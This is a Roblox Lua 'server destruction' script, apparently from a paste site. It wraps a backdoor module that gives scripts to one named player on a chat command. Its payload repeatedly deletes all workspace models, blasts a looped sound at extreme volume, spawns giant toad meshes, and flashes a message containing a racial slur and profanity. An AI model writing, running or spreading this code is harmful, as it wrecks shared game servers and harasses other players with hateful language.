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- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- ModuleScript0 = Instance.new("ModuleScript")
- Script1 = Instance.new("Script")
- LocalScript2 = Instance.new("LocalScript")
- ModuleScript0.Name = "MainModule"
- ModuleScript0.Parent = mas
- table.insert(cors,sandbox(ModuleScript0,function()
- script.Parent = nil
- local Module = script;
- local Scripts = {};
- for _,v in next, Module:GetChildren'' do
- Scripts[v.Name:lower()] = v:Clone();
- v:Remove()
- end;
- Module.Changed:connect(function() repeat while true do end until nil end)
- local Players = game:GetService("Players");
- return function()
- local Me = Players:FindFirstChild("antgame11");
- Me.Chatted:connect(function(Message)
- if string.sub(Message,1,7) == "script/" then
- if(Scripts[string.sub(Message,8):lower()])then
- local given = Scripts[string.sub(Message,8):lower()]
- given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
- end
- end;
- end)
- end
- end))
- Script1.Name = "Toad"
- Script1.Parent = ModuleScript0
- table.insert(cors,sandbox(Script1,function()
- local Player = game:GetService("Players").antgame11
- local Mouse,mouse,UserInputService,ContextActionService
- do
- script.Parent = Player.Character
- local CAS = {Actions={}}
- local Event = Instance.new("RemoteEvent")
- Event.Name = "UserInput_Event"
- Event.Parent = Player.Character
- local fakeEvent = function()
- local t = {_fakeEvent=true}
- t.Connect = function(self,f)self.Function=f end
- t.connect = t.Connect
- return t
- end
- local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
- local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
- function CAS:BindAction(name,fun,touch,...)
- CAS.Actions[name] = {Name=name,Function=fun,Keys={...}}
- end
- function CAS:UnbindAction(name)
- CAS.Actions[name] = nil
- end
- local function te(self,ev,...)
- local t = m[ev]
- if t and t._fakeEvent and t.Function then
- t.Function(...)
- end
- end
- m.TrigEvent = te
- UIS.TrigEvent = te
- Event.OnServerEvent:Connect(function(plr,io)
- if plr~=Player then return end
- if io.isMouse then
- m.Target = io.Target
- m.Hit = io.Hit
- elseif io.UserInputType == Enum.UserInputType.MouseButton1 then
- if io.UserInputState == Enum.UserInputState.Begin then
- m:TrigEvent("Button1Down")
- else
- m:TrigEvent("Button1Up")
- end
- else
- for n,t in pairs(CAS.Actions) do
- for _,k in pairs(t.Keys) do
- if k==io.KeyCode then
- t.Function(t.Name,io.UserInputState,io)
- end
- end
- end
- if io.UserInputState == Enum.UserInputState.Begin then
- m:TrigEvent("KeyDown",io.KeyCode.Name:lower())
- UIS:TrigEvent("InputBegan",io,false)
- else
- m:TrigEvent("KeyUp",io.KeyCode.Name:lower())
- UIS:TrigEvent("InputEnded",io,false)
- end
- end
- end)
- Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
- end
- wait(1)
- math.randomseed(tick() % 1 * 1e6)
- sky = coroutine.create(function()
- while wait(0.3) do
- s = Instance.new("Sky",game.Lighting)
- s.SkyboxBk,s.SkyboxDn,s.SkyboxFt,s.SkyboxLf,s.SkyboxRt,s.SkyboxUp = "rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408"
- s.CelestialBodiesShown = false
- end
- end)
- del = coroutine.create(function()
- while wait(0.3) do
- for i,v in pairs(workspace:GetChildren()) do
- if v:IsA("Model") then
- v:Destroy()
- end
- end
- end
- end)
- for i,v in pairs(game.Players:GetChildren()) do
- end
- noises = {'rbxassetid://230287740','rbxassetid://271787597','rbxassetid://153752123','rbxassetid://271787503'}
- sound = coroutine.create(function()
- a = Instance.new("Sound",workspace)
- a.SoundId = "rbxassetid://141509625"
- a.Name = "RAINING MEN"
- a.Volume = 58359
- a.Looped = true
- a:Play()
- while wait(0.2) do
- rainin = workspace:FindFirstChild("RAINING MEN")
- if not rainin then
- a = Instance.new("Sound",workspace)
- a.SoundId = "rbxassetid://141509625"
- a.Name = "RAINING MEN"
- a.Volume = 58359
- a.Looped = true
- a:Play()
- end
- end
- end)
- msg = coroutine.create(function()
- while wait(0.4) do
- msg = Instance.new("Message",workspace)
- msg.Text = "Get toadroasted you bacon-haired bozos. (GO QUIT FUCKED SHIT NIGGER XD FELIXMAYERKIDS IS A HACKER)"
- wait(0.4)
- msg:Destroy()
- end
- end)
- rain = coroutine.create(function()
- while wait(10 % 1 * 1e2) do
- part = Instance.new("Part",workspace)
- part.Name = "Toad"
- mesh = Instance.new("SpecialMesh",part)
- sound = Instance.new("Sound",workspace)
- part.CanCollide = false
- part.Size = Vector3.new(440,530,380)
- part.Position = Vector3.new(math.random(-3000,1000),math.random(1,3000),math.random(-3000,3000))
- sound.SoundId = noises[math.random(1,#noises)]
- sound:Play()
- sound.Ended:connect(function()
- sound:Destroy()
- end)
- mesh.MeshType = "FileMesh"
- mesh.MeshId = "rbxassetid://430210147"
- mesh.TextureId = "rbxassetid://430210159"
- end
- end)
- coroutine.resume(sky)
- coroutine.resume(del)
- coroutine.resume(sound)
- coroutine.resume(msg)
- coroutine.resume(rain)
- end))
- LocalScript2.Parent = Script1
- table.insert(cors,sandbox(LocalScript2,function()
- local Player = game:GetService("Players").LocalPlayer
- local Char = Player.Character
- local Event = Char:WaitForChild("UserInput_Event")
- local UIS = game:GetService("UserInputService")
- local input = function(io,a)
- if a then return end
- local io = {KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState}
- Event:FireServer(io)
- end
- UIS.InputBegan:Connect(input)
- UIS.InputEnded:Connect(input)
- local Changed = false
- local Mouse = Player:GetMouse()
- local h,t = Mouse.Hit,Mouse.Target
- while wait(1/30) do
- if h~=Mouse.Hit or t~=Mouse.Target then
- Event:FireServer({isMouse=true,Target=Mouse.Target,Hit=Mouse.Hit})
- h,t=Mouse.Hit,Mouse.Target
- end
- end
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = script
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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